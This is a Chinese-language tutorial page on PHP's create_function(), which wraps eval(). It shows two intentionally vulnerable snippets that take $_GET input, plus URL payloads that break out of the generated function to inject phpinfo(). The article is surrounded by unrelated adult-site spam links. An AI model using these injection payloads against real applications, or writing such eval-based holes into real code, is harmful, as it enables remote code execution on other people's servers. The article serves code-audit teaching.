亚洲精品久久久中文字幕-亚洲精品久久片久久-亚洲精品久久青草-亚洲精品久久婷婷爱久久婷婷-亚洲精品久久午夜香蕉

您的位置:首頁技術文章
文章詳情頁

PHP create_function()函數應用實例詳解

瀏覽:87日期:2022-06-06 09:53:37
目錄
  • 前言
  • create_function()簡介
  • 函數功能
  • 代碼注入實例
    • 0x01
    • 0x02

前言

一直遇到過這個 函數,但是不知道怎么利用 這回學習一下這個函數

create_function()簡介

適用 PHP4>4.0.1 PHP 5 PHP7

語法:
create_function(string $args, string $code)
string $args 聲明的函數變量部分
string $code 執行的方法代碼部分

函數功能

<?php$newfunc = create_function("$a,$b", "return "ln($a) + ln($b) = " . log($a * $b);");echo "New anonymous function: $newfunc\n";echo $newfunc(2, M_E) . "\n";?>

分析:

create_function() 會創造一個匿名函數 (lambda樣式) 此處創建了一個叫 lamvda_1 的函數, 在第一個 echo 中 顯示名字, 并在第二個echo 語句中執行了 此函數。

create_function() 函數 會在內部 執行 eval() , 我們發現是執行了 后面的 return 語句,屬于create_function() 中的第二個參數 string $code 的位置

因此,上述匿名函數的創建與執行過程等價于:

<?phpfunction lambda_1($a,$b){    return "ln($a) + ln($b) = " . log($a * $b);}?>

create_function( ) 函數在代碼審計中,主要用來查找項目中的代碼注入和回調后門的情況,熟悉了執行流程, 可以實現對代碼注入的 payload 構造,從而 進行漏洞挖掘和找出存在缺陷

代碼注入實例

0x01

<?phperror_reporting(0);$sort_by = $_GET["sort_by"];$sorter = "strnatcasecmp";$databases=array("1234","4321");$sort_function = " return 1 * " . $sorter . "($a["" . $sort_by . ""], $b["" . $sort_by . ""]);";usort($databases, create_function("$a, $b", $sort_function));?>

payload:

http://localhost/test1.php?sort_by=%27%22]);}phpinfo();/*

還原實際的組合過程:

$sort_function = " return 1 * " . $sorter . "($a["" . $sort_by ""]);}phpinfo();/*

匿名函數實際的執行:

function niming($a,$b){return 1 * " . $sorter . "($a["" . $sort_by ""]);}phpinfo();/*}

$sort_by 是我們傳入的值。

回車換行整理一下:

function niming($a,$b){return 1 * " . $sorter . "($a["" . $sort_by ""]);}phpinfo();/*}

0x02

<?php$c=$_GET["c"];$lambda=create_function("$a,$b","return (strlen($a)-strlen($b)+" . "strlen($c));");$array=array("reall long string here,boy","this","midding lenth","larget");usort($array,$lambda);print_r($array);?>

payload:

http://localhost/test2.php?c=1));}phpinfo();/*

還原實際的組合過程:

$lambda=create_function("$a,$b","return (strlen($a)-strlen($b)+" . "strlen(1));}phpinfo();/*));");

匿名函數實際的執行:

 function ft($a,$b){    return (strlen($a)-strlen($b)+" . "strlen(1));}phpinfo();/*)); }

換行整理:

 function ft($a,$b){    return (strlen($a)-strlen($b)+" . "strlen(1));    }    phpinfo();    /*)); }

到此這篇關于PHP create_function()函數應用實例詳解的文章就介紹到這了,更多相關PHP create_function()函數內容請搜索以前的文章或繼續瀏覽下面的相關文章希望大家以后多多支持!

標簽: PHP
主站蜘蛛池模板: 老妇女性较大毛片 | xxx毛茸茸的亚洲 | 狠狠色丁香婷婷久久综合不卡 | 成人做爰又黄又爽免费视频 | 亚洲图片在线播放 | 免费成人 | 丝袜美腿在线观看 | 免费成年人视频 | 达达兔午夜起神影院在线观看麻烦 | 麻豆传媒官网入口 | 日韩a一级欧美一级 | 在线国产视频一区 | 欧美成人高清手机在线视频 | 欧美日韩亚洲国产千人斩 | 边做边摸边揉的免费视频 | 性色aⅴ闺蜜一区二区三区 性色a按摩videos | 欧美一级www片免费观看 | 成人在线观看午夜 | 91在线播放视频 | 色男人的天堂久久综合 | 污污小视频在线观看 | 久久噜国产精品拍拍拍拍 | 国产永久 | 天干天干天啪啪夜爽爽99 | 国产亚洲欧美在线播放网站 | 九九欧美 | 国产亚洲高清视频 | 欧美日韩国产超高清免费看片 | 久久久久777777人人人视频 | 国产色综合天天综合网 | 欧美亚洲免费 | 最新露脸国产精品视频 | 国产精品免费一区二区三区四区 | 国产一区二区免费播放 | 小明成人免费永久性看看 | 国产激情毛片 | 色影影院| 簧片视频在线观看 | 成人免费男女视频网站慢动作 | 台湾永久内衣秀130部vk | 99亚洲精品高清一二区 |